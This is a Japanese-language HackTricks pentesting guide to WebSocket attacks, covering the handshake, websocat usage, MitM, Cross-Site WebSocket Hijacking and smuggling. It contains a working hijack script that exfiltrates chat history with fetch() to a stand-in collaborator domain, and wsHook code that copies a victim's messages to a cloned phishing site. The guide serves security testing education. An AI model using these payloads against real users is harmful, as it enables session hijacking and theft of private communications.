hacktricks/pentesting-web/websocket-attacks.md

15 KiB
Raw Blame History

WebSocket攻撃

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

WebSocketsとは

WebSocket接続はHTTPを介して開始され、通常は長時間継続します。メッセージはいつでもどちらの方向にも送信でき、トランザクションの性質を持ちません。接続は通常、クライアントまたはサーバーがメッセージを送信する準備ができるまで開いたままでアイドル状態になります。
WebSocketsは、リアルタイムの金融データのフィードなど、低遅延またはサーバー起点のメッセージが必要な状況で特に有用です。

WebSocket接続はどのように確立されますか

(ここでは概要を示しますが、Webソケット接続の詳細なガイドこちらで見つけることができます)。
WebSocket接続は通常、次のようなクライアントサイドのJavaScriptを使用して作成されます

var ws = new WebSocket("wss://normal-website.com/ws");

wssプロトコルは、暗号化されたTLS接続上でWebSocketを確立しますが、wsプロトコルは暗号化されていない接続を使用します。

接続を確立するために、ブラウザとサーバーはHTTP上でWebSocketハンドシェイクを実行します。ブラウザは以下のようなWebSocketハンドシェイクリクエストを発行します

GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

もしサーバーが接続を受け入れる場合、以下のようなWebSocketハンドシェイクのレスポンスを返します。

HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

この時点では、ネットワーク接続は開いたままであり、双方向にWebSocketメッセージを送信するために使用することができます。

注意

WebSocketハンドシェイクメッセージのいくつかの特徴について以下に示します:

  • リクエストとレスポンスの**ConnectionUpgradeヘッダーは、これがWebSocketハンドシェイク**であることを示しています。
  • Sec-WebSocket-Versionリクエストヘッダーは、クライアントが使用したいWebSocketプロトコルのバージョンを指定します。通常は13です。
  • Sec-WebSocket-Keyリクエストヘッダーには、Base64でエンコードされたランダムな値が含まれており、各ハンドシェイクリクエストでランダムに生成する必要があります。
  • **Sec-WebSocket-Accept**レスポンスヘッダーには、Sec-WebSocket-Keyリクエストヘッダーに提出された値のハッシュが含まれており、プロトコル仕様で定義された特定の文字列と連結されています。これにより、誤って設定されたサーバーやキャッシュプロキシからの誤った応答が防止されます。

Sec-WebSocket-Keyヘッダーには、キャッシュプロキシからのエラーを防ぐためのランダムな値が含まれており、認証やセッション管理の目的では使用されません(CSRFトークンではありません)。

Linuxコンソール

websocatを使用して、WebSocketとの生の接続を確立することができます。

websocat --insecure wss://10.10.10.10:8000 -v

または、websocatサーバーを作成するには:

websocat -s 0.0.0.0:8000 #Listen in port 8000

MitM WebSocket接続

現在のローカルネットワークからクライアントがHTTP WebSocketに接続していることがわかった場合、ARPスプーフィング攻撃を試して、クライアントとサーバーの間でMitM攻撃を実行することができます。
クライアントが接続しようとしている場合、次の手順を実行できます:

websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v

Websocketsの列挙

https://github.com/PalindromeLabs/STEWS というツールを使用すると、Websocketsで自動的に既知の脆弱性を発見、指紋認識、検索することができます。

Websocketデバッグツール

  • Burp Suiteは、通常のHTTP通信と同様に、MitM Websockets通信をサポートしています。
  • socketsleuth Burp Suite拡張機能を使用すると、BurpでWebsocket通信をより効果的に管理できます。履歴の取得、インターセプトルールの設定、マッチと置換ルールの使用、IntruderAutoRepeaterの使用が可能です。
  • WSSiP: "WebSocket/Socket.io Proxy"の略で、Node.jsで書かれたこのツールは、クライアントとサーバー間のすべてのWebSocketおよびSocket.IO通信をキャプチャ、インターセプト、カスタムメッセージの送信、表示するためのユーザーインターフェースを提供します。
  • wsreplは、特にペネトレーションテスト向けに設計された対話型WebSocket REPLです。受信したWebSocketメッセージの観察と新しいメッセージの送信のためのインターフェースを提供し、この通信を自動化するための使いやすいフレームワークを提供します。
  • https://websocketking.com/は、websocketsを使用して他のウェブサイトと通信するためのウェブです。
  • https://hoppscotch.io/realtime/websocketは、他の種類の通信/プロトコルと共に、websocketsを使用して他のウェブサイトと通信するためのウェブを提供します。

Websocket Lab

Burp-Suite-Extender-Montoya-Courseには、Websocketsを使用してウェブを起動するためのコードがあり、この記事には説明があります。

クロスサイトWebSocketハイジャッキングCSWSH

別名クロスオリジンWebSocketハイジャッキング
これはWebSocketハンドシェイクにおける**クロスサイトリクエストフォージェリCSRF**です。

これは、WebSocketハンドシェイクリクエストがセッション管理にHTTPクッキーのみを使用し、CSRFトークンや他の予測不可能な値を含まない場合に発生します。
攻撃者は、自分のドメイン上に悪意のあるウェブページを作成し、脆弱なアプリケーションにクロスサイトWebSocket接続を確立します。アプリケーションは、接続を被害者ユーザーのセッションのコンテキストで処理します。

簡単な攻撃

websocket接続を確立する際には、クッキーサーバーに送信されます。サーバーは、送信されたクッキーに基づいて各特定のユーザーwebsocketセッションに関連付けるためにそれを使用しているかもしれません。

その後、例えばwebsocketサーバーがユーザーの会話の履歴を送り返す場合、メッセージに "READY" が送信されると、単純なXSSが接続を確立します(クッキー自動的に送信され、被害者ユーザーを認証します)。 "READY" を送信することで、会話の履歴を取得することができます。

<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>

クロスオリジン + 異なるサブドメインのクッキー

このブログ記事https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/では、攻撃者はWebソケット通信が行われているドメインのサブドメイン任意のJavaScriptを実行することに成功しました。サブドメインであるため、クッキー送信され、WebsocketがOriginを正しくチェックしなかったため、それと通信してトークンを盗むことが可能でした。

ユーザーからのデータの盗み出し

なりすましを行いたいウェブアプリケーション(たとえば.htmlファイルをコピーし、Websocket通信が行われているスクリプト内に次のコードを追加します

//This is the script tag to load the websocket hooker
<script src='wsHook.js'></script>

//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function(data, url) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "client_msg?m="+data, true);
xhttp.send();
}
wsHook.after = function(messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "server_msg?m="+messageEvent.data, true);
xhttp.send();
return messageEvent;
}

次に、https://github.com/skepticfx/wshook から wsHook.js ファイルをダウンロードし、ウェブファイルが保存されているフォルダに保存してください。
ウェブアプリケーションを公開し、ユーザーがそれに接続することで、websocketを介して送受信されるメッセージを盗むことができます。

sudo python3 -m http.server 80

レースコンディション

WebSocketsにおけるレースコンディションも存在します。詳細については、こちらの情報を確認してください

その他の脆弱性

WebSocketsは、サーバーサイドとクライアントサイドにデータを送信するメカニズムです。サーバーとクライアントが情報を処理する方法によっては、WebSocketsを使用してXSS、SQLi、または他の一般的なWebの脆弱性を悪用することができます。

WebSocket Smuggling

この脆弱性により、逆プロキシの制限を回避することができます。逆プロキシがWebSocket通信が確立されたと信じるようになります実際にはそうではない場合もあります。これにより、攻撃者は隠されたエンドポイントにアクセスすることができます。詳細については、次のページを参照してください

{% content-ref url="h2c-smuggling.md" %} h2c-smuggling.md {% endcontent-ref %}

参考文献

{% embed url="https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥